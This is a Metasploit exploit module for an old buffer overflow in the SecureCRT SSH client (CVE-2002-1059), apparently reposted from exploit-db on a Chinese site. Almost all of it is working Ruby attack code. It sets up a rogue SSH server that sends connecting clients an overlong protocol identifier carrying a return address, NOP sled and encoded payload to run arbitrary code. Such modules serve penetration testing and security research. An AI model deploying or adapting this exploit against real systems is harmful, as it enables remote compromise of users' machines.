SecureCRT 4.0 Beta 2 SSH1 – Remote Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-04-30

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16460/

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##

# $Id: securecrt_ssh1.rb 9179 2010-04-30 08:40:19Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in SecureCRT <= 4.0

Beta 2. By sending a vulnerable client an overly long

SSH1 protocol identifier string, it is possible to execute

arbitrary code.

This module has only been tested on SecureCRT 3.4.4.

},

'Author' => 'MC',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2002-1059' ],

[ 'OSVDB', '4991' ],

[ 'BID', '5287' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

},

'Payload'=>

{

'Space'=> 400,

'BadChars' => "\x00",

'MaxNops'=> 0,

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

[ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],

],

'Privileged' => false,

'DisclosureDate' => 'Jul 23 2002',

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])

], self.class)

end

def on_client_connect(client)

return if ((p = regenerate_payload(client)) == nil)

buffer ="SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)

buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded

print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")

client.put(buffer)

handler

service.close_client(client)

end